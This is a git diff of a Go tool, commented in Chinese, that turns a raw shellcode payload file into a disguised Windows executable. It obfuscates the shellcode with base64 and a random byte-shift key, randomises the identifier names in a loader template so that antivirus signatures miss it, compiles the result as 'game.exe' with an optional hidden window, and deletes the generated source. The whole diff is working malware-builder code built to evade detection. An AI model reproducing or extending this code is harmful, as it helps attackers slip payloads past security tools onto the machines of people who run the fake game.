@@ -4,44 +4,118 @@ import (
44 "encoding/base64"
55 "fmt"
66 "io/ioutil"
7+ "math/rand"
78 "os"
9+ "os/exec"
810 "strings"
11+ "time"
912)
1013
11- var kkk = []byte {0x23 , 0x32 }
14+ var (
15+ key []byte
16+ keys string
17+ keyName string
18+ decodeName string
19+ genName string
20+ gd string
21+ bbdataName string
22+ shellCodeHex string
23+ bdata string
24+ )
25+
26+ func init () {
27+ //初始化key
28+ key = getKey ()
29+ //key变量名
30+ keyName = randString (4 )
31+ //解码方法名
32+ decodeName = randString (5 )
33+ //生成exe方法名
34+ genName = randString (3 )
35+ //混淆方法名
36+ gd = randString (6 )
37+
38+ //base64变量
39+ bbdataName = randString (2 )
40+
41+ shellCodeHex = randString (4 )
42+ }
43+
44+ func getKey () []byte {
45+ keys = randString (2 )
46+ b := []byte (keys )
47+ return b
48+ }
49+
50+ func randString (len int ) string {
51+ r := rand .New (rand .NewSource (time .Now ().Unix ()))
52+ bytes := make ([]byte , len )
53+ for i := 0 ; i < len ; i ++ {
54+ b := r .Intn (26 ) + 65
55+ bytes [i ] = byte (b )
56+ }
57+ return string (bytes )
58+ }
1259
1360func getEnCode (data []byte ) string {
1461 bdata1 := base64 .StdEncoding .EncodeToString (data )
1562 bydata1 := []byte (bdata1 )
1663 var shellcode []byte
1764
1865 for i := 0 ; i < len (bydata1 ); i ++ {
19- shellcode = append (shellcode , bydata1 [i ]+ kkk [0 ]- kkk [1 ])
66+ shellcode = append (shellcode , bydata1 [i ]+ key [0 ]- key [1 ])
2067 }
2168 return base64 .StdEncoding .EncodeToString (shellcode )
2269}
2370
71+ func gen (code * string ) {
72+
73+ * code = strings .ReplaceAll (* code , "$bdata" , bdata )
74+ * code = strings .ReplaceAll (* code , "$bbdata" , bbdataName )
75+ * code = strings .ReplaceAll (* code , "$keyName" , keyName )
76+ * code = strings .ReplaceAll (* code , "$keys" , keys )
77+ * code = strings .ReplaceAll (* code , "$shellCodeHex" , shellCodeHex )
78+ * code = strings .ReplaceAll (* code , "$gd" , gd )
79+ //*code=strings.ReplaceAll(*code, "$gdNum", ss)
80+ * code = strings .ReplaceAll (* code , "$genEXE" , genName )
81+ * code = strings .ReplaceAll (* code , "$getDeCode" , decodeName )
82+
83+ }
84+
2485func main () {
2586
2687 path := "C:\\ Users\\ Administrator\\ Desktop\\ payload.bin"
2788 if len (os .Args ) >= 2 {
2889 path = os .Args [1 ]
2990 }
3091 sc , _ := ioutil .ReadFile (path )
31- bdata := getEnCode (sc )
32- fmt .Println (bdata )
33- ioutil .WriteFile ("shellcode.txt" , []byte (bdata ), 0666 )
34-
35- tmpl , _ := ioutil .ReadFile ("./genExe" )
36-
92+ bdata = getEnCode (sc )
93+ fmt .Println ("获取payload" , "---->" , path )
94+ //fmt.Println(bdata)
95+ time .Sleep (1 * time .Second )
96+ //ioutil.WriteFile("shellcode.txt", []byte(bdata), 0666)
97+ fmt .Println ("解析shellcode模板" )
98+ time .Sleep (1 * time .Second )
99+ tmpl , _ := ioutil .ReadFile ("./template" )
37100 code := string (tmpl )
101+ fmt .Println ("生成shellcode" )
102+ time .Sleep (1 * time .Second )
38103
39- code = strings .ReplaceAll (code , "${bdata}" , bdata )
40-
104+ gen (& code )
41105 ioutil .WriteFile ("shellcode.go" , []byte (code ), 0666 )
42- //cmd := exec.Command("go", "build", "shellcode.go", "-ldflags=\"-s -w -H=windowsgui\"", "-o", "game.exe", "shellcode.go")
43- //cmd:=exec.Command("go","build shellcode.go -ldflags=\"-s -w -H=windowsgui\" -o main2.exe shellcode.go")
44- //cmd.Run()
45- //os.Remove("shellcode.go")
106+
107+ fmt .Println ("编译shellcode" )
108+ time .Sleep (1 * time .Second )
109+
110+ cmd := exec .Command ("cmd.exe" , "/c" , "go build -ldflags=-s -o game.exe ./shellcode.go" )
111+ //隐藏窗口,如有需要自行替换
112+ //cmd:= exec.Command("cmd.exe","/c","go build -ldflags=-s -ldflags=-H=windowsgui -o game.exe ./shellcode.go")
113+ //阻塞至等待命令执行完成
114+ err1 := cmd .Run ()
115+ if err1 != nil {
116+ panic (err1 )
117+ }
118+ fmt .Println ("game.exe" )
119+ os .Remove ("shellcode.go" )
46120
47121}
0 commit comments